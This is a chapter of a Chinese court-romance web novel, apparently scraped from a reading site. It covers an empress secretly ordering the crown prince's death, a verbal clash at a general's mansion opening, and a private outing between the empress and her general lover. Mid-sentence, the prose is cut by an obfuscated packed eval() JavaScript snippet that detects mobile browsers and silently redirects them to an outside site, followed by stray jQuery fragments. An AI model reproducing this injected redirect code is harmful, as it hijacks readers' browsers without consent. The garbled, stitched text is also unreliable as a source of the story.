卡蓝再度被软禁起来,宋闻薰挑了一个惠风和畅的好天气,下了杀太子的旨意。
明面上肯定不能是她要杀的,宋闻薰在朝堂上痛心疾首地说了一大通,什么“本是同根生相煎何太急”,什么“同室操戈列祖无颜”,说得仿佛她和太子兄友妹恭,她十分割舍不下这份兄妹情,不忍心杀太子。说到动情处,她潸然泪下,天子都这么敬业地演了,群臣也很配合,纷纷掏出袖子抹泪,称颂圣上仁义。
站在前列的付清衣一边拿袖子遮脸,一边悄悄抬头,正好和宋闻薰的目光撞了个正着,宋闻薰在百忙之中抽出一眼瞪了他一下,付清衣干咳一声,努力皱起脸装出一副悲痛哽咽的模样,来掩饰自己笑得发抖的双肩。
宋闻薰:“……”
下了朝后,宋闻薰召来素音、柳芳歌与慕行止,她眼角泪珠未落,就已经简洁明了地下达了指令:“毒昏了太子,把他绑了扔去冷宫,多捉点老鼠去,朕要他活活被老鼠咬死。”
她说这句话的语气很轻松,就像在讨论今天的天气很好,应该出去散步一样。
慕行止与太子一党本就有血海深仇,闻言神色漠然,素音是从小就跟着宋闻薰做惯了脏活儿的暗卫首领,也没什么反应,唯独柳芳歌面色难看了一瞬,她知晓宋闻薰与太子是政敌,却不知晓宋闻薰恨到了这个地步,这样的手段,实在太过阴毒,她不免心底发寒。
宋闻薰折磨人的法子这么多,万一有一天她……
宋闻薰的目光偏移到柳芳歌身上:“毒就交给慕太医,杀人的事情素音来,至于柳卿,朕要你对外宣称是太子畏罪自杀,一旦有人提出异议,以不尊皇室论处。”
“行。”
“遵命。”
慕行止和素音都干脆地答应了,他们同时扭头看向柳芳歌。
屋子里所有人的视线都集中在乍然发愣的她身上,意味不明。柳芳歌清醒过来,立刻道:“是。”
他们一个接一个地从殿门口离开,宋闻薰仰起头看着他们离开的背影,被刺眼的阳光照花了眼,她皱了眉,手指搭在眉骨上。立即有太监碎步跑来去关门,殿门一点点合上,宋闻薰的面容沉在半明半暗的光里,渐渐看不清晰了。
今天也是付清蓉开府的日子。
满府里张灯结彩,爆竹声噼里啪啦地响起,付清蓉拎着她擦得噌亮的红缨枪,水灵灵地站在院子门口,和来来往往上门恭贺的人寒暄,笑得脸僵。
比起这种场合,她还是更喜欢枕着石头与将士们畅快地喝酒吃肉。
一旁的王之敏还在捻着胡子和她打太极:“自古英雄出少年啊,一门双良将,想必付家将来必然比之你们父亲那时候更胜一筹啊。老夫真是怀念你父亲,付老将军年轻时,同你长得真像啊,说起来,当初与令父有些误会,一直到他去世都没说开,眼下见了你,更是悔不当初啊。”
开府的日子提死去的爹,王之敏真是寻得一手好晦气。
付清蓉皮笑肉不笑:“哦。真可惜,王大人要是没活这么久,说不定已经见到我爹和他说开了。”
王之敏面色一凝,他身边的两个王家小辈纷纷对付清蓉怒目而视。
站在一边一直耳听八方的付清衣立刻溜达过来,装模作样地给了她一拐子,然后朝王之敏笑道:“家妹年轻不懂事,说话有点直,对不住对不住,王大人不会和她计较的吧?”
王之敏捻着胡子的手暗暗用力,胡子都快被他捻断了。他挤出笑容道:“自然不会。付将军如今可是陛下眼前的红人。何况我们做长辈的,吃过的盐比你们吃过的米都多,哪里还会计较这些。”
付清蓉吃惊道:“王大人一把年纪了口味还这样重吗?重油盐的东西吃多了对身体不好,看不出您待我爹这么义气,竟这样想去见他。”
不等王之敏发作,付清衣立马又给了她轻飘飘的一拐子,呵斥道:“说什么呢,王大人年纪虽然大了,但是经常出入青楼,体格还是很健硕的。”
他们一唱一和,王之敏的脸彻底绿了。
不等他发怒,一边一个王家小辈就很有脸色地开口骂道:“付清蓉!陛下不过赐了个宅子,许了你个开府之权,有什么了不得的!我们王家上百年的高门氏族,天子都要敬三分,岂容尔等满口胡言!”
等他骂完,王之敏才拦住他,目光深沉:“不必如此激动,今日是高阳郡主开府的日子,这样,只要高阳郡主肯给老夫跪下道个歉,老夫便不追究了。”
付清蓉自小就是街头一霸,哪里会听这等威胁,她“唰”的一声将红缨枪往地上一杵,柳眉倒竖,狠狠盯着王之敏。
付清衣的脸色彻底冷下来,他装也不装了,傲然瞥了一眼王之敏,冷淡道:“王家?我妹妹万人之中取贼人项上人头时,不知王大人在做什么?陛下恩赐郡主面圣时不必下跪,王大人是觉得自己能越过陛下去吗?”
他这话戳中了王之敏痛处,新帝显然不喜世家,处处偏袒着将门,甚至给了付清蓉开府的权力,这样的礼遇,王家从未有人得到过。
王之敏咬牙切齿:“我倒要看看,帝王的一时荣宠能保你们猖狂多久!”
“一世。”一个温和的女声轻飘飘地响起。
王之敏乍然回头,这一回头就是一惊,眼前人一身明黄锦衣,头戴八宝金龙钗,眉目舒展,容色明艳,目光沉冷令人不敢直视,不是天子是谁?
一瞬间,全场寂静,随即齐刷刷跪了一片。
宋闻薰没有看王之敏,她看着惊呆了下意识跪下的付清衣,唇边掠起一丝笑意:“怎么这么吃惊,朕来看看这儿。”
她说的是“朕来看看这儿”,可目光专注,眉眼带笑,更像是在说“朕来看看你”。
付清衣清咳一声,耳根子发红。以往宋闻薰出宫,都是微服私访,这是她第一次以天子的身份,在大庭广众下明晃晃彰显自己对付家的偏爱。
宋闻薰仗着没人敢抬头看她,目光明目张胆地在付清衣发红的耳朵根上停了片刻,付清衣感受到她视线,那抹淡红如水波扩开,让他整个人都红成了一只熟透的虾。
一旁的付清蓉:“……”
别人不知道,她最清楚了。天子这哪里是在撑腰,分明是在和他哥调情!
王家人灰溜溜地逃离了这里,这院子是宋闻薰一手承办,她对这儿的布局了如指掌。她简单吩咐了几句,假装自己回了宫,实际上带着付清衣七拐八拐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450119|169454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找了个人迹罕至的角落。
这是一处紫竹林,郁郁葱葱的竹林深处坐落了一方凉床,几个石凳,周遭以碧纱橱掩盖。清泉绕林而过,风吹得竹林沙沙作响,周遭静得落针可闻。燥热与喧嚣在这里渐渐远去,是绝佳的避暑地。
宋闻薰拉着他走进碧纱橱中,石几上早已经有人备好了冷香饮子,一看便知是她早早吩咐的。
付清衣打量着四周精巧的设置,情不自禁感叹道:“阿薰太厚待清蓉了,赐了高阳郡主之位不说,又赏了这样大的院子,原本的候府也比不上这里……我怕朝中有人非议你太偏爱付家。”
宋闻薰掀衣坐下,拿起桌上的砂糖冰水喝了一口,不甚在意:“谁非议就砍了谁。”
付清衣愣了愣,“噗哧”笑出了声,他捧住宋闻薰的脸颊,眼睛亮晶晶地看着她:“陛下要做圣明之主,不可当暴君。”
宋闻薰也愣了愣,看来付清衣是把她刚刚这话当成了说笑。她弯起眼睛,没有去纠正他,反而张开双臂,等付清衣主动环抱住她后,她轻笑着勾住他脖子道:“朕也想当明君,奈何美色误人。”
她紧紧贴着付清衣,闭着眼睛熟练地寻到了他的唇,在宋闻薰吻上来的一瞬间,付清衣已经从善如流地微微张了口,他们唇齿交缠了许久,分开时双方都有些气喘。
付清衣抱着她稳稳当当地放在了凉床上,宋闻薰一边仰面躺下,一边报复般笑着去捏他的脸,付清衣躲了两下,见她执着,主动把脸放在她手心里,任由她又捏又搓。
“好点了吗?”等宋闻薰松开手,付清衣脸上已经全是红印,他摸摸脸,不经意地问。
宋闻薰脸上的笑容僵了僵,过了一会儿复又笑开:“怎么突然这么问?”
付清衣低头看她,他目光明澈,里面倒映出她的脸。
“因为,你今天好像很不高兴。”
风拂过宋闻薰的碎发,她黑沉如墨的眸子错愕地瞪大了一瞬,脸上的笑容缓缓淡了。
她总以为自己掩藏得很好。但付清衣每每都能看出来。
安静了一会儿后,宋闻薰眼皮微阖,倦怠地说:“扳倒了太子,一时无事可做,有些无聊罢了。不是什么大事。”
付清衣一听就笑了:“那你来找我算是找对了。”
还不等宋闻薰反应,付清衣就已经干脆地拉上了她的手:“城北有一片林子围作了猎场,我带你去玩。”
骑在马上,感受迎面而来的呼啸风声时,宋闻薰看见不远处搭弓射箭的付清衣,青年将军姿态娴熟地自马背上拉开了重弓,箭射出去的刹那,他回过头朝着她笑起来,好看的眉眼弯成了盈盈流月。
不远处的鹿应声倒地,树叶里漏下的阳光恰好落在付清衣的发梢上,他满身金粉,漂亮得耀眼。
宋闻薰纷乱的心奇迹般平静下来,她也笑看他,抚掌:“将军好箭法。”
付清衣眨了眨眼睛,故意捏着嗓子拖腔拿调模仿那些老臣:“谢陛下——”
他们停顿一下,一齐大笑起来,宋闻薰笑得伏在马上,树林中的飞鸟被惊到,扑簌簌飞起来,直冲云霄。
宋闻薰笑着笑着突然开始有些恍惚,她很久没有这样笑过了。